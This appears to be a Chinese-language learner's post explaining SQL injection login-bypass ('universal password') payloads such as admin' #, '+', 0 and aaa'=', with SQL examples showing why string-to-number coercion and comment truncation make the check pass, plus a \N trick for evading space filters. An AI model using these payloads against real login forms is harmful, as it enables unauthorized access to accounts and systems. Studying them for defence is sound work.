以下是我在學習sql注入時的一些感想分享,希望能幫助到大家,如有錯誤,望指出。
萬能密碼的種類:
①select * from admin where username =“” and password = “”
②admin‘ #
③’+‘ ’+‘
④0
⑤Aaa’ = ‘
在以下的select語句中的username和password可類似看作為字符串變量
select * from user where username = ‘admin’ and password = ‘yi’;
該語句的判斷邏輯是什么呢?
就是當username =‘admin’和password=’yi’都為真時執行成功。
那么就是說不管怎么樣,只要這兩項都為真就行了,這就意味着即使用戶名和密碼都不正確,只要讓這兩項都為真就能執行成功,該邏輯就是②③條的注入原理
①select * from user where username = ‘chen’ # ‘ and password = ‘qian’;
②select * from user where username = ‘ ‘+’ ‘ and password = ‘ ‘+’ ‘;(有局限)
select ‘ ‘+’ ‘;
select ‘qian’=0;
select ‘1qian’=0;
僅對於username和password的值為非數字開頭的字符串有效。Eg:’q123’
在這里select語句中的username和password可類似看作為字符串變量,那么等於非數字開頭字符串的變量在轉化為int形式時就為0(這里的=號不是賦值符號,就是數學上=號的作用)
③select * from user where username = 0 and password = 0;
在這里username和password可類似看作為字符串變量,那么非數字開頭的字符串在轉化為int形式就為0(和③原理一樣,就是表現手法不同而已)
④select * from user where username = ‘aaa’=’ ‘ and password = ‘aaa’=’ ‘;
select ‘aaa’=’a’;(執行結果為0)
select ‘aaa’=’a’=’ ‘;
判斷邏輯:username=’aaa’為假,假=’ ‘又變為了真,password一樣(前提username與password都不為’aaa’)%e6%b5%85%e6%98%93%e6%b7%b1
⑤select \Nfrom user;(執行成功,在N與from之間沒空格)
select 1from;(執行失敗,因為1與from之間沒空格)
select 1,2,\Nfrom user;(執行成功,在2與from之間沒空格)
該技巧在from的左端不能輸空格的時候,可以考慮能不能使用該方法進行繞過。